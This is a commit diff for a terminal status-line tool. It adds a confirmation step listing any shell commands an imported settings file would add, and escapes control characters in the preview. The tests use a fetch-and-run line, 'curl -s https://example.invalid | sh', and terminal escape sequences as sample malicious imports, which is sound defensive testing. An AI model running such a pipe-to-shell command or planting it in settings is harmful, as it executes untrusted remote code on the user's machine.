Skip to content

Commit 4031a93

Browse files
eric-engbergsirmalloc
authored andcommitted
fix(import): show and confirm new shell commands
List new Custom Command shell commands in full before applying an import. Require confirmation for Replace All and Merge, with Cancel selected by default. Imports that add no new commands continue to apply immediately. Escape control characters in preview values, paths, and commands so imported text cannot hide commands or manipulate the terminal.
1 parent 610dcc9 commit 4031a93

2 files changed

Lines changed: 215 additions & 9 deletions

File tree

‎src/tui/components/ImportPreviewDialog.tsx‎

Lines changed: 82 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -51,6 +51,14 @@ export function getImportPreviewSettings(
5151
return applyImport(current, validation.data, mode, validation.presentKeys);
5252
}
5353

54+
/**
55+
* Control characters as `\uXXXX`: an imported file's text is shown, never sent
56+
* to the terminal as escape sequences, and hidden characters stay visible.
57+
*/
58+
export function escapeControlCharacters(text: string): string {
59+
return text.replace(/[\x00-\x1f\x7f-\x9f]/g, char => `\\u${char.charCodeAt(0).toString(16).padStart(4, '0')}`);
60+
}
61+
5462
function formatScalar(value: unknown): string {
5563
if (value === null || value === undefined) {
5664
return 'none';
@@ -59,9 +67,25 @@ function formatScalar(value: unknown): string {
5967
return String(value);
6068
}
6169
if (typeof value === 'string') {
62-
return value || '(empty)';
70+
return escapeControlCharacters(value) || '(empty)';
6371
}
64-
return JSON.stringify(value);
72+
return escapeControlCharacters(JSON.stringify(value));
73+
}
74+
75+
function getCustomCommands(settings: Settings): string[] {
76+
return settings.lines
77+
.flat()
78+
.filter(widget => widget.type === 'custom-command' && widget.commandPath)
79+
.map(widget => widget.commandPath ?? '');
80+
}
81+
82+
/**
83+
* Shell commands the imported settings would run that the current settings
84+
* don't: a Custom Command runs its command on every status line render.
85+
*/
86+
export function getImportedCommands(current: Settings, preview: Settings): string[] {
87+
const existing = new Set(getCustomCommands(current));
88+
return [...new Set(getCustomCommands(preview).filter(command => !existing.has(command)))];
6589
}
6690

6791
function diffObject(current: Record<string, unknown>, imported: Record<string, unknown>, prefix: string): DiffEntry[] {
@@ -139,8 +163,11 @@ export function ImportPreviewDialog({
139163
onCancel
140164
}: ImportPreviewDialogProps): React.JSX.Element {
141165
const [previewMode, setPreviewMode] = useState<Exclude<ImportMode, 'cancel'>>('replace');
166+
// The mode waiting for the user to confirm the shell commands it adds
167+
const [pendingMode, setPendingMode] = useState<Exclude<ImportMode, 'cancel'> | null>(null);
142168
const previewSettings = getImportPreviewSettings(currentSettings, validation, previewMode);
143169
const topLevelKeys = getImportPreviewKeys(currentSettings, previewSettings);
170+
const importedCommands = getImportedCommands(currentSettings, previewSettings);
144171

145172
const items: ListEntry<ImportMode>[] = [
146173
{ label: 'Replace All', value: 'replace', description: 'Overwrite all settings with the imported config' },
@@ -152,9 +179,47 @@ export function ImportPreviewDialog({
152179
function handleSelect(value: ImportMode | 'back'): void {
153180
if (value === 'cancel' || value === 'back') {
154181
onCancel();
155-
} else {
156-
onApply(value);
182+
return;
183+
}
184+
185+
const commands = getImportedCommands(currentSettings, getImportPreviewSettings(currentSettings, validation, value));
186+
if (commands.length > 0) {
187+
setPendingMode(value);
188+
return;
157189
}
190+
onApply(value);
191+
}
192+
193+
if (pendingMode) {
194+
const commands = getImportedCommands(currentSettings, getImportPreviewSettings(currentSettings, validation, pendingMode));
195+
const confirmItems: ListEntry<'cancel' | 'confirm'>[] = [
196+
{ label: 'Cancel', value: 'cancel', description: 'Go back to the preview without importing' },
197+
{ label: 'Apply and run these commands', value: 'confirm', description: 'Import the settings, including the commands above' }
198+
];
199+
200+
return (
201+
<Box flexDirection='column'>
202+
<Text bold>Import Preview</Text>
203+
<Text color='yellow'>
204+
{`Apply this import? It adds ${commands.length === 1 ? 'a shell command' : `${commands.length} shell commands`} that will run on every status line render:`}
205+
</Text>
206+
<Box flexDirection='column' marginLeft={4}>
207+
{commands.map((command, index) => (
208+
<Text key={index}>{`$ ${escapeControlCharacters(command)}`}</Text>
209+
))}
210+
</Box>
211+
<List
212+
items={confirmItems}
213+
onSelect={(choice) => {
214+
if (choice === 'confirm') {
215+
onApply(pendingMode);
216+
return;
217+
}
218+
setPendingMode(null);
219+
}}
220+
/>
221+
</Box>
222+
);
158223
}
159224

160225
function handleSelectionChange(value: ImportMode | 'back'): void {
@@ -186,7 +251,7 @@ export function ImportPreviewDialog({
186251
<Text>{` ${key}:`}</Text>
187252
{entries.map((e, i) => (
188253
<Box key={i} marginLeft={4}>
189-
<Text>{`${e.path}: `}</Text>
254+
<Text>{`${escapeControlCharacters(e.path)}: `}</Text>
190255
<Text color='red'>{formatScalar(e.current)}</Text>
191256
<Text>{' → '}</Text>
192257
<Text color='green'>{formatScalar(e.imported)}</Text>
@@ -208,7 +273,7 @@ export function ImportPreviewDialog({
208273
<Text>{` ${key}:`}</Text>
209274
{entries.map((e, i) => (
210275
<Box key={i} marginLeft={4}>
211-
<Text>{`${e.path}: `}</Text>
276+
<Text>{`${escapeControlCharacters(e.path)}: `}</Text>
212277
<Text color='red'>{formatScalar(e.current)}</Text>
213278
<Text>{' → '}</Text>
214279
<Text color='green'>{formatScalar(e.imported)}</Text>
@@ -221,7 +286,7 @@ export function ImportPreviewDialog({
221286

222287
diffRows.push(
223288
<Box key={key}>
224-
<Text>{` ${key}: `}</Text>
289+
<Text>{` ${escapeControlCharacters(key)}: `}</Text>
225290
<Text color='red'>{formatScalar(current)}</Text>
226291
<Text>{' → '}</Text>
227292
<Text color='green'>{formatScalar(imported)}</Text>
@@ -236,6 +301,16 @@ export function ImportPreviewDialog({
236301
<Box flexDirection='column'>
237302
{diffRows}
238303
</Box>
304+
{importedCommands.length > 0 && (
305+
<Box flexDirection='column' marginTop={1}>
306+
<Text color='yellow'>This import adds shell commands that run on every status line render:</Text>
307+
<Box flexDirection='column' marginLeft={4}>
308+
{importedCommands.map((command, index) => (
309+
<Text key={index}>{`$ ${escapeControlCharacters(command)}`}</Text>
310+
))}
311+
</Box>
312+
</Box>
313+
)}
239314
<List
240315
items={items}
241316
onSelect={handleSelect}

‎src/tui/components/__tests__/ImportPreviewDialog.test.ts‎

Lines changed: 133 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -5,7 +5,8 @@ import stripAnsi from 'strip-ansi';
55
import {
66
describe,
77
expect,
8-
it
8+
it,
9+
vi
910
} from 'vitest';
1011

1112
import {
@@ -15,8 +16,10 @@ import {
1516
import { waitFor } from '../../__tests__/helpers/wait-for-ink';
1617
import {
1718
ImportPreviewDialog,
19+
escapeControlCharacters,
1820
getImportPreviewKeys,
19-
getImportPreviewSettings
21+
getImportPreviewSettings,
22+
getImportedCommands
2023
} from '../ImportPreviewDialog';
2124

2225
class MockTtyStream extends PassThrough {
@@ -145,4 +148,132 @@ describe('ImportPreviewDialog helpers', () => {
145148
stderr.destroy();
146149
}
147150
});
151+
152+
it('lists the shell commands an import would add, but not ones already set', () => {
153+
const current: Settings = {
154+
...DEFAULT_SETTINGS,
155+
lines: [[{ id: 'mine', type: 'custom-command', commandPath: 'date' }], [], []]
156+
};
157+
const imported: Settings = {
158+
...DEFAULT_SETTINGS,
159+
lines: [[
160+
{ id: 'a', type: 'custom-command', commandPath: 'date' },
161+
{ id: 'b', type: 'custom-command', commandPath: 'curl -s https://example.invalid | sh' },
162+
{ id: 'c', type: 'custom-command', commandPath: 'curl -s https://example.invalid | sh' }
163+
], [], []]
164+
};
165+
166+
expect(getImportedCommands(current, imported)).toEqual(['curl -s https://example.invalid | sh']);
167+
expect(getImportedCommands(current, current)).toEqual([]);
168+
});
169+
170+
it('shows control characters as text instead of sending them to the terminal', () => {
171+
expect(escapeControlCharacters('a\u001b]52;c;AAAA\u0007b\u009b')).toBe('a\\u001b]52;c;AAAA\\u0007b\\u009b');
172+
expect(escapeControlCharacters('plain ✓')).toBe('plain ✓');
173+
});
174+
175+
it('shows the full command an import adds, and asks before applying it', async () => {
176+
const stdin = createMockStdin();
177+
const stdout = createMockStdout();
178+
const stderr = createMockStdout();
179+
const onApply = vi.fn();
180+
const command = 'curl -s https://example.invalid/a-long-path-that-would-be-truncated | sh';
181+
const instance = render(React.createElement(ImportPreviewDialog, {
182+
validation: {
183+
status: 'valid',
184+
data: { ...DEFAULT_SETTINGS, lines: [[{ id: 'c', type: 'custom-command', commandPath: `${command}\u001b[2J` }], [], []] },
185+
presentKeys: ['version', 'lines']
186+
},
187+
currentSettings: DEFAULT_SETTINGS,
188+
onApply,
189+
onCancel: () => undefined
190+
}), {
191+
stdin,
192+
stdout,
193+
stderr,
194+
debug: true,
195+
exitOnCtrlC: false,
196+
patchConsole: false
197+
});
198+
199+
try {
200+
await waitFor(() => {
201+
expect(stdout.getOutput()).toContain(`${command}\\u001b[2J`);
202+
expect(stdout.getOutput()).toContain('shell commands that run on every status line render');
203+
});
204+
205+
stdin.write('\r');
206+
await waitFor(() => {
207+
expect(stdout.getOutput()).toContain('▶ Cancel');
208+
expect(stdout.getOutput()).toContain('Apply and run these commands');
209+
});
210+
expect(onApply).not.toHaveBeenCalled();
211+
212+
stdout.clearOutput();
213+
stdin.write('\r');
214+
await waitFor(() => {
215+
expect(stdout.getOutput()).toContain('▶ Replace All');
216+
});
217+
expect(onApply).not.toHaveBeenCalled();
218+
219+
stdin.write('\r');
220+
await waitFor(() => {
221+
expect(stdout.getOutput()).toContain('▶ Cancel');
222+
});
223+
stdin.write('\u001B[B');
224+
await waitFor(() => {
225+
expect(stdout.getOutput()).toContain('▶ Apply and run these commands');
226+
});
227+
stdin.write('\r');
228+
await waitFor(() => {
229+
expect(onApply).toHaveBeenCalledWith('replace');
230+
});
231+
} finally {
232+
instance.unmount();
233+
instance.cleanup();
234+
stdin.destroy();
235+
stdout.destroy();
236+
stderr.destroy();
237+
}
238+
});
239+
240+
it('applies an import without shell commands straight away', async () => {
241+
const stdin = createMockStdin();
242+
const stdout = createMockStdout();
243+
const stderr = createMockStdout();
244+
const onApply = vi.fn();
245+
const instance = render(React.createElement(ImportPreviewDialog, {
246+
validation: {
247+
status: 'valid',
248+
data: { ...DEFAULT_SETTINGS, globalBold: true },
249+
presentKeys: ['version', 'globalBold']
250+
},
251+
currentSettings: DEFAULT_SETTINGS,
252+
onApply,
253+
onCancel: () => undefined
254+
}), {
255+
stdin,
256+
stdout,
257+
stderr,
258+
debug: true,
259+
exitOnCtrlC: false,
260+
patchConsole: false
261+
});
262+
263+
try {
264+
await waitFor(() => {
265+
expect(stdout.getOutput()).toContain('▶ Replace All');
266+
});
267+
stdin.write('\r');
268+
await waitFor(() => {
269+
expect(onApply).toHaveBeenCalledWith('replace');
270+
});
271+
} finally {
272+
instance.unmount();
273+
instance.cleanup();
274+
stdin.destroy();
275+
stdout.destroy();
276+
stderr.destroy();
277+
}
278+
});
148279
});

0 commit comments

Comments
 (0)